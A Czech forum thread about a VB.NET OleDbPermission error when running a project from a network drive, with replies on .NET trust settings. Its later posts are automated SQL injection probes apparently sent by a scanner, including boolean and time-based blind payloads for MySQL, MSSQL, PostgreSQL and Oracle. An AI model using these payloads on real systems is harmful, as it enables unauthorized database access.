Request for the permission   zodpovězená otázka

VB.NET

Dobrý den.

Mám následující problém. Vytvořím si nový projekt (Windows aplikace ve VB.NET z VS2008), na formulář si pomocí drag&drop dám dvě propojené tabulky, které jsem si předtím přidal do projektu jako DataSet. Projekt i databáze leží na jiném stroji na sdíleném a namapovaném disku. Spustím aplikaci, všechno funguje, měním si záznamy pomocí ovládacích tlačítek, které tam VS samo vložilo - část vložilo do neco.Designer.vb a do Form1.vb do procedury Form1_Load vložilo:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'TODO: This line of code loads data into the 'ObjednavaniZboziDataSet.Ceniky' table. You can move, or remove it, as needed.
        Me.CenikyTableAdapter.Fill(Me.ObjednavaniZboziDataSet.Ceniky)
        'TODO: This line of code loads data into the 'ObjednavaniZboziDataSet.CoJeObjednano' table. You can move, or remove it, as needed.
        Me.CoJeObjednanoTableAdapter.Fill(Me.ObjednavaniZboziDataSet.CoJeObjednano)

    End Sub

pro naplnění daty.

Všechno tedy funguje, ale jen do chvíle, kdy projekt uložím (na ten síťový disk). Pokud spustím aplikaci poté, co jsem projekt poprvé uložil, objeví se chyba:

Request for the permission of type 'System.Data.OleDb.OleDbPermission, System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' failed.

Tak tomu nerozumím. Co mu vadí? A proč mu to vadí až po prvním uložení projektu?

Díky za radu.

nahlásit spamnahlásit spam 1 / 1 odpovědětodpovědět

Ze síťového disku se aplikace spouští s omezením práv (kvůli ochraně proti virům). Řešením by mohlo být to, že si ve Visual Studiu otevřete vlastnosti projektu a na záložce Security zaškrtnete políčko Enable One-Click Security a případně povolíte, co je potřeba. Pak by to snad mělo fungovat, jistý si tím nejsem.

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

Tak mladý, a už tak zkušený ;-)

Díky, ano, tím to bylo. Ne že by se to tím úplně vyřešilo, ale alespoň se problém posunul do situace, kdy vyskakuje warning o tom, že VS nemůže na síťovém prostředku uložit soubor jmenoprojektu.vshost.exe, čili ještě zkusím poladit nějak přístupová práva a pokud to nevyřeším, zkusím najít způsob, jak si holt přenášet celý projekt na flashce vždy na ten komp, na kterém budu pracovat... To by snad mělo jít v pohodě, pokud nepoužiju absolutní cesty, resp. si mohu vytvořit na lokálních discích těch počítačů identickou cestu. I když mně napadlo, jestli by správnější nebylo nainstalovat Visual Basic přímo na ten disk s tím síťovým odložištěm a pak ho jen spouštět z těch jiných dvou počítačů, ale to asi nepůjde...

Petr

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

Spouštět aplikaci po síti jde, i když problémy někdy jsou a to asi s nastavením v počítači, ze kterého se aplikace spouští - ve stejné síti z jednoho PC to jde, z jiného ne a řešení jsme nenašli.

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

Tohle je již kontrola Visual Studia, mělo by stačit v nastavení VS (menu Tools / Options) na záložce Projects And Solutions odškrtnout zaškrtávátko Warn user if the project location is not trusted.

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

Děkuji všem za upřímně míněné rady. Odškrtl jsem inkriminované zaškrtávátko a opravdu se jednou podařilo aplikaci spustit. Udělal jsem úpravy formuláře, znovu uložil a ejhle, hláška se vrátila. Myslím, že to zaškrtávátko má souvislost s hláškou na začátku otevírání projektu, kdy VS hlásí, že projekt není "trusted" a teď to ignoruje, ale nemá nic společného s hláškou, která je stále stejná:

Visual Studio could not copy a support file to this location: "\\Server\cesta\WinApplication\WinApplication

\bin\Debug\WinApplication.vshost.exe". Please verify the path exists and is writeable.

Cesta samozřejmě existuje, zapisovat do ní můžu (já ano, jestli VS, to nevím, jak zjistit). Soubor výše uvedený je samozřejmě tam také, má atribut archive, ale ani změna atributů na žádný atribut není k cíli vedoucí.

No nic, řeším asi nesmysly, které mohou mít podstatu někde v chybce v naší síti místo abych se soustředil na tu aplikaci samotnou, kterou sice asi nejsem schopný naprogramovat, ale alespoň se o to musím pokusit. Popravdě, myslel jsem, že za to vytvoření aplikace nějakému studentovi zaplatím, ale překvapilo mně, že mnou nabízený obulus se studentům zdál málo. Odhaduju to tak na 10 hodin práce pro někoho, kdo VB zná. Samozřejmě že to může být hodně podceněný odhad, ale myslím, že jsem v tomto směru celkem soudný. Zvlášť s příchodem LINQu bych řekl, že je to pro všechny, kteří jsou šikovnější než já, celkem jednoduché.

Díky za rady ještě jednou.

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

je třeba přenastavit .NET Framework, aby důvěřoval síťovému disku

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

Tak to je rozhodně špatný přístup. Je potřeba aby si vaše aplikace vyžádala patřičná oprávnění a pokud je nedostane, tak musí zareagovat odpovídajícím způsobem... A nebo podepsat Assembly pomocí Strong Name a pro tento Strong Name nastavit ve Frameworku vyjímku.

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

3kxp2mHD

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1 OR 2+97-97-1=0+0+0+1 --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1 OR 2+509-509-1=0+0+0+1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1' OR 2+737-737-1=0+0+0+1 --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1' OR 2+929-929-1=0+0+0+1 or 'qq4Ukhrw'='

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1" OR 2+186-186-1=0+0+0+1 --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

if(now()=sysdate(),sleep(15),0)

nahlásit spamnahlásit spam 0 odpovědětodpovědět

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nahlásit spamnahlásit spam 0 odpovědětodpovědět

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nahlásit spamnahlásit spam 0 odpovědětodpovědět

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1; waitfor delay '0:0:15' --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1); waitfor delay '0:0:15' --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1)); waitfor delay '0:0:15' --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1 waitfor delay '0:0:15' --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

oUvARQ2T'; waitfor delay '0:0:15' --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

nnswE3Zv'); waitfor delay '0:0:15' --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

V8VH9ekP')); waitfor delay '0:0:15' --

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-5 OR 168=(SELECT 168 FROM PG_SLEEP(15))--

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-5) OR 865=(SELECT 865 FROM PG_SLEEP(15))--

nahlásit spamnahlásit spam 0 odpovědětodpovědět

-1)) OR 985=(SELECT 985 FROM PG_SLEEP(15))--

nahlásit spamnahlásit spam 0 odpovědětodpovědět

bmod6gBX' OR 825=(SELECT 825 FROM PG_SLEEP(15))--

nahlásit spamnahlásit spam 0 odpovědětodpovědět

MQ2lWsGW') OR 948=(SELECT 948 FROM PG_SLEEP(15))--

nahlásit spamnahlásit spam 0 odpovědětodpovědět

RrgrokvT')) OR 220=(SELECT 220 FROM PG_SLEEP(15))--

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1'"

nahlásit spamnahlásit spam 0 odpovědětodpovědět

@@GmyJH

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět

1

nahlásit spamnahlásit spam 0 odpovědětodpovědět
                       
Nadpis:
Antispam: Komu se občas házejí perly?
Příspěvek bude publikován pod identitou   anonym.
  • Administrátoři si vyhrazují právo komentáře upravovat či mazat bez udání důvodu.
    Mazány budou zejména komentáře obsahující vulgarity nebo porušující pravidla publikování.
  • Pokud nejste zaregistrováni, Vaše IP adresa bude zveřejněna. Pokud s tímto nesouhlasíte, příspěvek neodesílejte.

přihlásit pomocí externího účtu

přihlásit pomocí jména a hesla

Uživatel:
Heslo:

zapomenuté heslo

 

založit nový uživatelský účet

zaregistrujte se

 
zavřít

Nahlásit spam

Opravdu chcete tento příspěvek nahlásit pro porušování pravidel fóra?

Nahlásit Zrušit

Chyba

zavřít

feedback